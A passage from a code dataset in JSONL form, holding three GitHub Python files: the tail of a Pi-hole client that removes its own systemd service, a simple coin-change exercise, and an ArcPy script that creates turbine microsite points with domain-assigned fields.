\"--now\", systemd_unit_file.name], capture_output=True)\n print(\"Removing systemd service unit file\")\n systemd_unit_file.unlink()\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n if not dns_records_file.exists():\n print(f\"Not running on a pihole, couldn't locate {str(dns_records_file)}\")\n exit(1)\n main()\n","repo_name":"bjornsnoen/minica-api-pihole-client","sub_path":"src/minica_api_pihole/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18675617540","text":"amount=int(input('enter_amount='))\nno_of_five =int(input('enter_no_of_5='))\nno_of_one=int(input('enter no_of_1='))\na=amount//5\nchnge_1=0;\nchnge_5=0;\nif a==no_of_five:\n chnge_5=no_of_five\nelif a<no_of_five:\n chnge_5=a\nelse :\n while((no_of_five*5)<(a*5)):\n a=a-1\n chnge_5=a\nb=amount-5*chnge_5\nif b<=no_of_one:\n chnge_1=b\n\nif amount==(chnge_1+chnge_5*5):\n print(f'5rupee={chnge_5}--1rupee={chnge_1}')\nelse:\n print(\"chnge=-1\")\n \n","repo_name":"mycharlapavankumar/mychu","sub_path":"basic python/change_problem.py","file_name":"change_problem.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25146552269","text":"from arcpy import *\nimport os, sys\n\nenv.overwriteOutput = \"True\"\n\n\"\"\"\n========================================================================\nTech_Report_Chapter7\n========================================================================\nAuthor: Mitchell Fyock\n========================================================================\nDate\t\t\tModifier\tDescription of Change\n01/04/2017\t\tMF\t\t\tCreated\n========================================================================\nThis script is designed to create a basic, standardized project folder\nwith a geodatabase that contains all feature datasets, feature classes,\nand domains required.\n\"\"\"\n\ninput_feature = GetParameter(0)\ninput_field = GetParameterAsText(1)\n(output_folder, output_feature) = os.path.split(GetParameterAsText(2))\nenv.workspace = output_folder\n\n\ndomains = ['Landuse', 'SurfaceVis', 'ArchPot', 'ShovProb']\ndesc = Describe(input_feature)\nspatialRef = desc.spatialReference\n\n# Gather geometry and name from input feature class\npointLst = []\nsiteLst = []\nwith da.SearchCursor(input_feature, [\"SHAPE@XY\", input_field]) as cursor:\n\tfor row in cursor:\n\t\tarray = Array()\n\t\t(x,y) = row[0]\t\t\t\t\t\t\t# Split geometry into x and y\n\t\tarray.append(Point(x,y))\t\t\t\t# add new point to array\n\t\tpointLst.append(array)\t\t\t\t\t# add array to pointLst\n\t\tsiteLst.append(row[1])\t\t\t\t\t# add name to siteLst\n\n\n# Create Empty Feature and Add Necessary Fields\nfc = management.CreateFeatureclass(output_folder, output_feature, \"POINT\", '','','', spatialRef)\nfields = ['TurbineID', 'Landuse', 'SurfaceVis', 'ArchPot', 'ShovProb', 'Comment']\n[management.AddField(fc, i, \"TEXT\") for i in fields]\n\n# Insert new rows into the output feature\ncursor = da.InsertCursor(fc, [\"SHAPE@XY\", \"TurbineID\"])\n\nfor i in range(len(pointLst)):\n\tsite = siteLst[i]\n\tcoord = pointLst[i][0]\n\tcursor.insertRow([coord, site])\n\ndel cursor\n\n# Assign domains to corresponding fields\ndomain_fields = ['Landuse', 'SurfaceVis', 'ArchPot', 'ShovProb']\nfor i in range(len(domain_fields)):\n\tdomain = domains[i]\n\tdomain_field = domain_fields[i]\n\tmanagement.AssignDomainToField(output_feature, domain_field, domain)\n","repo_name":"Matthewaneff/PythonExamples","sub_path":"Final_Scripts/Turbine_Microsite_Point.py","file_name":"Turbine_Microsite_Point.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"}